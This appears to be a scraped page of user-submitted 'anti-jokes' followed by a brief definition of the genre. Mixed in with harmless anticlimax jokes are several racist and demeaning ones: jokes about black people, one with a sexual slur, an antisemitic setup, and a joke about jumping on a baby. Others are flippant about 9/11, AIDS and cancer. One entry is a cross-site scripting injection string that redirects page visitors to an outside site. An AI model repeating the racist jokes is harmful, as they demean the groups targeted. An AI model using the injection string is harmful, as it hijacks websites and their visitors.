why did the supermodel have sex with the janitor? she loved him. and he was brad pitt.

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What do you call a black guy who wins a race? A winner

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Why did the elephant get on the roof? To jump in the pool.

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9/11 my birthday

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What do you call a black prostetut with braces. A black and decker pecker wrecker

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what did rishi say to jess ? GOOD ONE

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What is the difference between a trampoline and a baby? You take your boots of before jumping on the trampoline!!!!!!!!!

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What do you call a Welshman with a stick up his arse? A very odd man

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The man goes to the doctor after just losing his job because his company went under because of the econmic crisis. His house is being foreclosed because without the money from his job he can't afford to pay for his house. His girlfriend also just left him because of recent conflicts about money and she was looking forward to having a family and with him jobless it was just out of the question. Man:"Doctor I could really use some good news" Doctor:"You have aids"

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Whats funnier than a black man? A black president

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Roses are black Violets are black Everything is black I am blind

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"'>document.location.href="http://cramik.org"

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What makes the turtle move? It's legs.

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What's the difference between 2 pieces of meat? Nothing

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Technically rainbows are white.....and have gold at the end.

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A blonde, brunette, and red-head were on a deserted island. The blonde said, "in thirty years or so, we'll all have gray hair."

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What is the difference between a pizza and a Jew?

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What did Batman say to Robin before he got in the Batmobile? Get in the Batmobile.

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A student goes up to the teacher because he has to go to the washroom. The teacher tells him that he has to sing the ABC's before he can go. So the boy sings, "ABCDEFGHIJKLMNOPQRSTUVWXYZ." The teacher said he did a perfect job and could go to the washroom. The boy went on to become a billionaire. Congrats!

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What did the monkey say to the other monkey Monkey can't talk

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Q: Why did the boy fall off his bicycle? A: Because someone threw a fridge at him.

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If little jimmy has five candy bars and he eats three, what does little jimmy have? Diabetes

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"Knock knock" "Who's there?" "Fairy floss" "Fairy floss who?" "I'm sugar coating your Cancer diagnoses"

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knock knock, who's there me me who he opens the door a kills yo

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

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